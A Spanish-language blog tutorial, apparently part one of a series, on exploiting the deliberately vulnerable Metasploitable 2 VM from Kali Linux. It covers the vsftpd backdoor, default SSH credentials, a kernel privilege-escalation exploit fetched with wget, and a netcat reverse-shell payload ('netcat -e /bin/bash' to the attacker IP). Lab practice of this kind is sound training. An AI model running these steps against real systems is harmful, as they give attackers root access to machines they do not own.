ExplotaciónKali Linux

Guia Metasploitable 2: Parte 1

Colaborador: Vasco

Hola amantes de la seguridad, ésta es la primera entrada, de varias, en las que veremos como explotar las diferentes vulnerabilidades de Metasploitable 2, con el fin de poner en práctica nuestros conocimientos en un entorno seguro.

Para los que no lo conozcáis, Metasploitable 2 es una distribución basada en Ubuntu, configurada intencionadamente con fallos de seguridad y puertos abiertos y asi tener un entorno seguro en el que practicar. Se puede descargar desde el siguiente enlace.

Por otro lado, utilizaremos Kali Linux 2 como máquina atacante.

Una vez descargado Metasploitable 2 y abierto mediante un software de virtualización como Vmware o VirtualBox, procederemos a pasarle un nmap para ver los puertos abiertos.


Como vemos, tenemos bastantes puertos abiertos para ir probando. Los iremos explotando en el mismo orden que aparecen en la captura.


PUERTO 21 VSFTPD  

En el puerto 21 tenemos corriendo vsftpd 2.3.4. Esta versión tiene un backdoor (puerta trasera) que se introdujo en el archivo vsftpd-2.3.4.tar.gz el 30 de Junio de 2011 y se retiró el 3 de Julio del mismo año después de que un usuario avisara al autor.

Para explotarlo, utilizaremos un exploit disponible en metasploit.


Aquí vemos una caputura de la shell obtenida con permisos root.


PUERTO 22 SSH 

 En el puerto 22 está corriendo OpenSSH 4.7p1. Si pasamos un escáner de vulnerabilidades como nessus u openvas, una de las vulnerabilidades nos indica que este servicio tiene los credenciales por defecto, siendo estos la palabra «user» tanto para el usuario como para la contraseña.


Asique aprovechamos ésta vulnerabilidad  para conectarnos. Una vez conectados, vamos a intentar obtener permisos root, para ello nos fijamos en la version del kernel de linux.


Al ser una versión antigua, existen exploits para escalar privilegios localmente. Vamos a usar el siguiente:

 
Descargamos el exoploit a nuestra máquina, para subirlo a la víctima, utilizaremos el apache. Metemos el archivo descargado en la carpeta /var/www/html/ y arrancamos apache. 
 


Ahora desde la consola con la conexión ssh, descargamos el exploit con el comando wget y lo compilamos.


El siguiente paso es ver el PID del proceso que utiliza la tarjeta de red para ejecutar nuestro exploit en el mismo proceso.
 
 
En este caso es el número 2701. Antes de ejecutar el exploit, vamos a crear un payload que conecte mediante netcat con nuestra máquina Kali cuando ejecutemos el exploit, obteniendo asi nuestra shell con privilegios root.
 
Creamos un archivo llamado «run» en la misma carpeta que el exploit con el siguiente contenido:
 
#!/bin/bash
/bin/netcat -e /bin/bash 192.168.0.190 4444
 
Ponemos la ip de Kali y el puerto que queramos.
 
Lo siguiente es abrir una nueva terminal en Kali y poner el netcat a la escucha en el mismo puerto que pusimos anteriormente en el payload: nc -l -p 4444.
 
Ya tenemos todo preparado, solo falta ejecutar el exploit (en el proceso 2701): ./8572 2701
 
 
Aquí tenemos una captura de la shell obtenida con privilegios root.
 
 
PUERTO 23 TELNET
 
Este puerto no tiene misterio ninguno puesto que nada mas conectarnos, nos aparece el siguiente mensaje.
 


Nos dice usuario y contraseña para el login, además el usuario msfadmin tiene permisos root asique no hay nada mas que hacer.
 
 
 
PUERTO 25 SMTP
 
Esta vez vamos a utilizar un auxiliar de metasploit para obtener nombres de usuario.
 



 
No podemos hacer mucho mas en este puerto. 
 
 
Hasta aquí la primera entrega, espero os guste y sea de ayuda. Recordar que está hecho solo con fines educativos y en un entorno controlado, no nos hacemos responsables de su mal uso.

 

5 comentarios en “Guia Metasploitable 2: Parte 1

  1. Porfin!!!alguien que sabe explicarse. Tio eres mi salvación jejeje enhorabuena por la pagina es genial!!!

    1. Muchas gracias Iban me alegro que te haya sido de ayuda, y gracias a ti por leernos.
      Un saludo.

    1. Porque tienes que darle permisos con «chmod +x nombredetuexploit» pero, por favor, no llames al exploit «8572.c» porque la terminación .c se refiere a un programa escrito en C, y lo que tu vas a ejecutar es un binario, es decir, el resultado de compilar un programa escrito en C, con: «gcc -Wall -o 8572 8572.c» (la forma típica para este caso, si mal no recuerdo), cualquier duda pregunta por el grupo de followthewhiterabbit, un saludo

  2. Antes que nada muchas gracias por tu aporte y tu claridad.

    He estado probando el ejemplo relativo al «ssh» y no consigo que el puerto de escucha aparezca nada, no hay resultado.
    He repasado los pasos varias veces y no se que puede ser. (la compilación del archivo me funciona, y lo único que hecho es quitar la última línea de «8572.c» que había esto: «// milw0rm.com [2009-04-30]» y daba una warning al compilar.

    Muchas gracias por tu ayuda.

Los comentarios están cerrados.